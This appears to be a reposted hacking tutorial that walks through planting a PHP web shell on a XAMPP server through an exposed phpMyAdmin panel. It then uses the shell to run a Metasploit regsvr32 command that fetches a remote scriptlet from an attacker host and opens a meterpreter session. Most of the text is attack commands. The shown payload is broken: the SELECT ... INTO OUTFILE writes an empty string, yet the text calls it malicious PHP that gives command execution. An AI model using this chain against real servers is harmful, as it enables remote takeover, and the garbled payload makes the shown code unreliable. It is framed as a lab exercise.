Shell Uploading in Web Server through PhpMyAdmin

In this tutorial, we will learn how to exploit a web server if we found the phpmyadmin panel has been left open. Here I will try to exploit phpmyadmin which is running inside the localhost “xampp” by generating a SQL query to execute malicious code and then make an effort to access the shell of victim’s Pc.

Shell Uploading in Web Server through PhpMyAdmin

PhpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL and MariaDB. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement.

Features

  • Intuitive web interface
  • Support for most MySQL features:
  • browse and drop databases, tables, views, fields, and indexes
  • create, copy, drop, rename and alter databases, tables, fields, and indexes
  • maintenance server, databases, and tables, with proposals on server configuration
  • execute, edit and bookmark any SQL-statement, even batch-queries
  • manage MySQL user accounts and privileges
  • manage stored procedures and triggers
  • Import data from CSV and SQL
  • Export data to various formats: CSV, SQL, XML, PDF, ISO/IEC 26300 – OpenDocument Text and Spreadsheet, Word, LATEX, and others
  • Administering multiple servers
  • Creating graphics of your database layout in various formats
  • Creating complex queries using Query-by-example (QBE)
  • Searching globally in a database or a subset of it
  • Transforming stored data into any format using a set of predefined functions, like displaying BLOB-data as image or download-link

For information visit: https://www.phpmyadmin.net

Let’s start!!!

Open the localhost address:192.168.1.101:81 in the browser and select the option phpmyadmin from the given list of xampp as shown the following screenshot.

When you come into PhpMyAdmin application, here you will find different areas. On the left side of the screen, you can see the list of database names. As we are inside the administration console where we can perform multiple tasks which I have defined above, therefore, I am going to create a new database

Now click on new to create a database.

Give a name to your database as I have given Ignite technologies and click on create.

Now you can see the database ignite technologies has been added in the list of databases.

Click on ignite technologies database to construct an MYSQL query inside your database. Hence click on SQL tab where you can enter the SQL query code.

Click on ignite technologies database to construct an MYSQL query inside your database. Hence click on SQL tab where you can enter the SQL query code.

Now, this is an interesting part because here I am going to execute malicious code as SQL query which will create a command shell vulnerability inside the web server. 

SELECT "" into outfile "C:\\xampp\\htdocs\\backdoor.php"

In the following screenshot, you can see I have given above malicious php code as SQL query and then click on GO tab to execute it.

Now type the following URL to find whether we are successful or not in order to create OS command shell vulnerability.

http://192.168.1.101:81/backdoor.php

Awesome!!!  You can see it has given a warning which means we had successfully created OS command shell vulnerability.

http://192.168.1.101:81/backdoor.php?cmd=dir

When you execute the above URL in the browser you will get the information of victim‘s PC directories.

Next step will achieve a meterpreter session of victim’s Pc. Open another terminal in Kali Linux and type following command. msfconsole

msf > use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit(regsvr32_applocker_bypass_server) > set lhost 192.168.1.104
msf exploit(regsvr32_applocker_bypass_server) > set lport 4444
msf exploit(regsvr32_applocker_bypass_server) > exploit

Copy the selected part for the DLL file and use this malicious code as the command inside the URL.

regsvr32 /s /n /u / i:http://192.168.1.104:8080/sVW72p3IRZBScv.sct%20scrobj.dll

Paste the above code the URL and execute it which will give a meterpreter session on Metasploit

http://192.168.1.101:81/backdoor.php?cmd=regsvr32 /s /n /u / i:http://192.168.1.104:8080/sVW72p3IRZBScv.sct%20scrobj.dll

From the following screenshot, you can see meterpreter session 1 opened.

sessions –i 1
meterpreter>sysinfo

Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets.

Origin source: https://www.hackingarticles.in/shell-uploading-web-server-phpmyadmin/

What's Your Reaction?

like

dislike

love

funny

angry

sad

wow